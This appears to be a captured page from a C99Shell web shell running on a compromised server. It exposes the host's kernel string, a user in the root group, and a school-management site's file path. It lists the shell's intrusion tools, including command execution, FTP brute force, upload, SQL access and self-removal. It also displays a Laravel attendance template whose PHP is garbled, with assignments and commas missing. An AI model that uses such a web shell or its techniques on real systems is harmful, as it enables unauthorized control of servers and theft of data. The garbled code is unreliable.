!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/school.picotech.app/public_html/resources/views/admin/attendance/   drwxr-xr-x
Free 29.42 GB of 117.98 GB (24.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     student.blade.php (3.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 

use App\Http\Controllers\CommonController;
use 
App\Models\Enrollment;
use 
App\Models\DailyAttendances;

$active_session get_school_settings(auth()->user()->school_id)->value('running_session');
$enrols Enrollment::where(['class_id' => $page_data['class_id'], 'section_id' => $page_data['section_id'], 'school_id' => auth()->user()->school_id'session_id' => $active_session])->get();

?>

<div class="row mb-2">
    <div class="col-6"><a href="javascript:" class="btn btn-sm btn-secondary" onclick="present_all()">{{ get_phrase('Present All') }}</a></div>
    <div class="col-6"><a href="javascript:" class="btn btn-sm btn-secondary float-right" onclick="absent_all()">{{ get_phrase('Absent All') }}</a></div>
</div>

<div class="table-responsive-sm row col-md-12">
    <table class="table eTable table-bordered">
        <thead>
            <tr>
                <th>{{ get_phrase('Name') }}</th>
                <th>{{ get_phrase('Status') }}</th>
            </tr>
        </thead>
        <tbody>
            @foreach($enrols as $enroll)
            <?php $student_details = (new CommonController)->get_student_details_by_id($enroll->user_id); ?>
            <tr>
                <td>
                    {{ $student_details['name'] }}
                </td>
                <td>
                    <input type="hidden" name="student_id[]" value="{{ $enroll->user_id }}">
                    <div class="custom-control custom-radio">
                        <?php $update_attendance DailyAttendances::where(['timestamp' => strtotime($page_data['attendance_date']), 'class_id' => $page_data['class_id'], 'section_id' => $page_data['section_id'], 'school_id' => auth()->user()->school_id'session_id' => $active_session'student_id' => $enroll->user_id]); 
                        
$count_row $update_attendance->get();
                        
?>
                        <?php if($count_row->count() > 0): ?>
                            <?php $row $update_attendance->first(); ?>
                            <input type="hidden" name="attendance_id[]" value="{{ $row->id }}">
                            <input type="radio" id="" name="status-{{ $enroll['user_id'] }}" value="1" class="present" {{ $row->status == 1 ? 'checked':'' }} required> {{ get_phrase('present') }} &nbsp;
                            <input type="radio" id="" name="status-{{ $enroll['user_id'] }}" value="0" class="absent" {{ $row->status != 1 ? 'checked':'' }} required> {{ get_phrase('absent') }}
                        <?php else: ?>
                            <input type="radio" id="" name="status-{{ $enroll['user_id'] }}" value="1" class="present" required> {{ get_phrase('present') }} &nbsp;
                            <input type="radio" id="" name="status-{{ $enroll['user_id'] }}" value="0" class="absent" checked required> {{ get_phrase('absent') }}
                        <?php endif; ?>
                    </div>
                </td>
            </tr>
            @endforeach
        </tbody>
    </table>
</div>

<script type="text/javascript">

  "use strict";

    function present_all() {
        $(".present").prop('checked', true);
    }

    function absent_all() {
        $(".absent").prop('checked',true);
    }
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--